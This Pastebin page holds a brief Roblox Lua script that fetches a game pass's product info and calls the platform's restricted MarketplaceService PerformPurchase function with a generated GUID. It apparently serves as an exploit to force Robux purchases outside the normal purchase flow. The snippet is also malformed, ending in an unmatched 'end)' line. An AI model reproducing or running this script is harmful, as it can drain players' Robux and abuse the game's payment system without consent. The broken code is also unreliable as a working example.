Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- gamePassId = 0 --replace with whatever you want xd
- market = game:GetService("MarketplaceService")
- http = game:GetService("HttpService")
- info = market:GetProductInfo(gamePassId, Enum.InfoType.GamePass)
- market:PerformPurchase(Enum.InfoType.Asset, info["ProductId"], info["PriceInRobux"], http:GenerateGUID(false))
- end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement